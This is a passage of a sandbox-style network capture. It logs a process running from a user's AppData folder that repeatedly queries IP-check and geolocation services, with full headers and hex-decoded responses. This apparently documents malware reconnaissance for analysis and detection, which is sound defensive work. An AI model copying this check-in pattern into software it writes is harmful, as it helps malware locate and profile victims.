Oct 30, 2024 08:14:37.842832088 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:37 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 303b289934e8ebc63392404bc6047667 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49177	132.226.247.73	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:38.458283901 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:39.319819927 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2c75d4d564598c2660ac5097b897149d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:39.530790091 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2c75d4d564598c2660ac5097b897149d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49179	132.226.8.169	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:40.154040098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:41.042052031 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:40 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49181	132.226.8.169	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:42.806113005 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:43.722707987 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:43 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49167	188.114.96.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:29 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 07:14:29 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:29 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20492 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1mSEHw3%2FfftL7vRDWdXrmG9hqGHzl1uDtzz4r7I58PL9Y1WCScOZvY82NtEls9%2FziNDBWv1T4tg3fym9gHKguVK%2FiVao75xNbdM7az0s7tXcN3Q0iyOcromgCeYwnfnXcgxwaoTO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99bd68880476c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2729500&cwnd=251&unsent_bytes=0&cid=56b1d37744bddae2&ts=216&x=0"
2024-10-30 07:14:29 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49168	188.114.96.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:30 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 07:14:30 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:30 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20493 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hp2ZqtPryWAXOKOyn%2Fv0kclOsfpt2WEifGH4mYvlgKRPAsJhxtQWjkOXG5cwDkWy6FWZpl1Jvs2MOp0VfnT8wjIv1bhTsWD%2FDTjTwK5M5sE1%2BsGYVEmLEAEqptkAlng%2FwYesdPzp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99bdc7e852ff0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1275&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2129411&cwnd=239&unsent_bytes=0&cid=7a3166059c3ac1cd&ts=160&x=0"
2024-10-30 07:14:30 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49170	188.114.96.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:33 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 07:14:33 UTC	879	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:33 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20496 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KwFTeLBhQufXf5hTdXlclyZGWFqth87AIjiaFV3Tyf5SR5gJdl1F8tXDejGMhFG4a4s7GTvHb31Hr7jSjo3GN9C2d8IDQGzT7T0TVkPCfkRZL2TJm4CDQnkyF8CdzdBsNeJNuE0M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99beccf49e9a0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1298&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2154761&cwnd=251&unsent_bytes=0&cid=5634754944486b8a&ts=152&x=0"
2024-10-30 07:14:33 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49172	188.114.96.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:34 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 07:14:34 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:34 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20497 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OSXfXVUWdrqbVXyDvAvJ97TlU1aUoaqy3CkevdDqe%2BbAgcj5GcsRV39E3gTZViY8GB%2FRnzuGCe44LYlepD6ZqTWfYbKJBaZk6%2ByyOJZYNH4kzSzosXE9R45YPP88zD4ApdmprF6I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99bf74adf2847-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1364&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2118507&cwnd=251&unsent_bytes=0&cid=9459484159561db7&ts=148&x=0"
2024-10-30 07:14:34 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49174	188.114.97.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:36 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 07:14:36 UTC	895	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:36 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20499 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IqgXvX%2FsJ9bTJ%2FTPRj4V%2B7xqkqfuuxqAKqhLwgmdz4Pq5Y1D0Uy31s4F8c5sdMP7Agx6hYFaPTLs1R%2FvQGaNxK6YWk3%2FDWAd%2B1CnhQatAZspASIhw1%2FDujlU9SOJadmhEiaIQf%2BL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99c02edd10b8a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1788758&cwnd=250&unsent_bytes=0&cid=4bcbaf548454c2a1&ts=159&x=0"
2024-10-30 07:14:36 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49176	188.114.96.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:38 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 07:14:38 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:38 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20501 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZNfwlRSLbkM3eixbxdEr82ooJxAzUV2OTtnSHyT5A%2BrXBrMytxvAXYlVI3CyZHMcPi7SYLfA2pLFyXLqEDPmpYPP7fl%2FkZaH1pPlZGg97gOc%2FNj%2FpxZ1GocdnUaUE5GnkBGhrjVv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99c0daaaf0072-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1892810&cwnd=251&unsent_bytes=0&cid=5769ab7e5656329e&ts=148&x=0"
2024-10-30 07:14:38 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49178	188.114.97.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:39 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 07:14:40 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:40 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20503 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XB3BDVi6QIGkIU9Ed65GAa32qunHnqoo8gOkpIBS%2F4UZ%2FeL0PfAdJQRtBtcF4YAzlCg7oDbK9RahqL%2FJ3pWnHotxpxmGtfNiMpHkyL78Ktasuske9ipEo%2BPqIp%2BHfzUGoFbXCZpb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99c181cbee722-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1340&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2093998&cwnd=249&unsent_bytes=0&cid=7c6ee2d2bb937d04&ts=147&x=0"
2024-10-30 07:14:40 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49180	188.114.97.3	443	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:14:42 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 07:14:42 UTC	882	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:42 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 20505 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J5WL5y6K79MMszhxRWOMcnnRNbnTDtnUPHOe9Dz0qrlcD%2B8SH6Czw8QIfRhuOrSFW1I18MwpB0Eb1isYUayl76OXQzf8WzarHuwbNnKZtGXzQ9UqAL3Afk2NqGEtt3TXZM5aC09D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da99c28cc556b97-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1233&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2283911&cwnd=251&unsent_bytes=0&cid=514359f8a2f39fcb&ts=1088&x=0"
2024-10-30 07:14:42 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 